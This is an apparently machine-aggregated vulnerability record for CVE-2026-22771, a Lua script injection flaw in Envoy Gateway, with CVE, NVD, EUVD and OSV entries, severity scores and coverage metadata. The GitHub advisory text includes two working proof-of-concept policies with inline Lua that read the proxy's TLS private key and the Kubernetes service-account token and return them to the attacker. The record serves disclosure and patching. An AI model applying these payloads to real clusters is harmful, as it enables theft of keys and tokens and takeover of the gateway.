{"id":"EUVD-2026-2007","revision":null,"records":[{"revision":"eca185cdd5784b52ace3d78c9a681511","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-22771","aliases":[],"title":"Envoy Extension Policy lua scripts injection causes arbitrary command execution","description":"Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.","state":0,"publishedAt":"2026-01-12T18:08:22.532+00:00","modifiedAt":"2026-07-15T01:19:24.781+00:00","affected":[{"ecosystem":"Vendor product","name":"gateway","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"envoyproxy\",\n                    \"product\": \"gateway\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.5.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.6.0-rc.0, < 1.6.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22771","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-22771","identifiers":["CVE-2026-22771"]},"retained":false,"historicalAffected":[]},{"revision":"7369651ba4104b4cbbc9ab1f02cd7848","observedAt":"2026-11-15T10:12:06.553+00:00","statement":{"source":"euvd","id":"EUVD-2026-2007","aliases":["CVE-2026-22771","GHSA-xrwg-mqj6-6m22"],"title":"Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's cre…","description":"Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-2007","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 12, 2026, 6:08:22 PM","dateUpdated":"Jul 15, 2026, 1:19:24 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-2007","identifiers":["EUVD-2026-2007","CVE-2026-22771","GHSA-xrwg-mqj6-6m22"]},"retained":false,"historicalAffected":[]},{"revision":"9552a73abded488aab51abb4e919e1b0","observedAt":"2026-10-25T05:17:32.026+00:00","statement":{"source":"nvd","id":"CVE-2026-22771","aliases":[],"title":"Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's cre…","description":"Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.","state":0,"publishedAt":"2026-01-12T19:16:03.47+00:00","modifiedAt":"2026-07-15T02:18:35.447+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22","https://access.redhat.com/security/cve/CVE-2026-22771","https://bugzilla.redhat.com/show_bug.cgi?id=2428735","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-22771.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-22771","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-01-12T19:16:03.470","lastModified":"2026-07-15T02:18:35.447"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-22771","identifiers":["CVE-2026-22771"]},"retained":false,"historicalAffected":[]},{"revision":"dbbc68b64ac54415ab006f10207d4ae9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-xrwg-mqj6-6m22","aliases":["BIT-envoy-gateway-2026-22771","CVE-2026-22771","GO-2026-4312"],"title":"Envoy Extension Policy lua scripts injection causes arbitrary command execution","description":"### Impact\nEnvoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:\n* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.\n* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. \n\nLua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. \n\nFor example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.  \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\nspec:\n  targetRefs:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      name: leak\n  lua:\n    - type: Inline\n      inline: |\n           function envoy_on_response(response_handle)\n             local cert = io.open(\"/certs/tls.crt\", \"r\")\n             local content\n             if cert then\n                content = cert:read(\"*all\")\n                cert:close()\n             else\n                content = \"file-not-found\"\n             end\n             local keyfile = io.open(\"/certs/tls.key\", \"r\")\n             local contentkey\n             if keyfile then\n                contentkey = keyfile:read(\"*all\")\n                keyfile:close()\n             else\n                contentkey = \"file-not-found\"\n             end\n             local keypair = contentkey .. \"\\n\" .. content\n             response_handle:body():setBytes(keypair)\n             response_handle:headers():replace(\"content-length\", tostring(#keypair))\n             response_handle:headers():replace(\"content-type\", \"text/plain\")\n           end\n```\n\nThis execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\nspec:\n  targetRefs:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      name: backend\n  lua:\n    - type: Inline\n      inline: |\n        function envoy_on_response(response_handle)\n          local token = io.open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\")\n          local content\n          if token then\n             content = token:read(\"*all\")\n             token:close()\n          else\n             content = \"file-not-found\"\n          end\n          io.write(content)\n          error(content)\n        end\n```\n\nResults in:\n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n  name: lua-leak\n[...]\nstatus:\n  ancestors:\n    - ancestorRef:\n        group: gateway.networking.k8s.io\n        kind: Gateway\n        name: eg\n        namespace: default\n      conditions:\n        - lastTransitionTime: \"...\"\n          message: \"Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:\n        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\\nstack\n        traceback:\\n\\t[G]: in function 'error'\\n\\t<string>:622: in function 'envoy_on_response'\\n\\t<string>:625:\n        in main chunk\\n\\t[G]: ?.\"\n```\n\nAttackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.  \n\n### Patches\nThe patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:\n* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.\n* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.\n* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.\n\n### Workarounds\nEnvoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).","state":0,"publishedAt":"2026-01-13T18:47:34+00:00","modifiedAt":"2026-09-10T03:50:59.3235025+00:00","affected":[{"ecosystem":"Go","name":"github.com/envoyproxy/gateway","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.6.0-rc.0"},{"kind":"fixed","version":"1.6.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/envoyproxy/gateway","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.5.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22","https://nvd.nist.gov/vuln/detail/CVE-2026-22771","https://github.com/envoyproxy/gateway"],"sourceUrl":"https://github.com/advisories/GHSA-xrwg-mqj6-6m22","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xrwg-mqj6-6m22","identifiers":["GHSA-xrwg-mqj6-6m22","BIT-envoy-gateway-2026-22771","CVE-2026-22771","GO-2026-4312"]},"retained":false,"historicalAffected":[]},{"revision":"1cb9fab58a6843e8b8c90bdf58006042","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4312","aliases":["BIT-envoy-gateway-2026-22771","CVE-2026-22771","GHSA-xrwg-mqj6-6m22"],"title":"Envoy Extension Policy lua scripts injection causes arbitrary command execution in github.com/envoyproxy/gateway","description":"Envoy Extension Policy lua scripts injection causes arbitrary command execution in github.com/envoyproxy/gateway","state":0,"publishedAt":"2026-01-23T02:28:11+00:00","modifiedAt":"2026-02-04T03:32:56.38693+00:00","affected":[{"ecosystem":"Go","name":"github.com/envoyproxy/gateway","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.5.7"},{"kind":"introduced","version":"1.6.0-rc.0"},{"kind":"fixed","version":"1.6.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22","https://nvd.nist.gov/vuln/detail/CVE-2026-22771"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4312","license":"OSV · upstream source license applies","key":"osv:GO-2026-4312","identifiers":["GO-2026-4312","BIT-envoy-gateway-2026-22771","CVE-2026-22771","GHSA-xrwg-mqj6-6m22"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-273d153a425049c8b3517770cc71a510","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:14:50.9874354+00:00","lastSuccessAt":"2026-11-15T13:14:49.8911021+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:14:49.8911021+00:00","snapshotPublishedAt":null,"importing":true,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}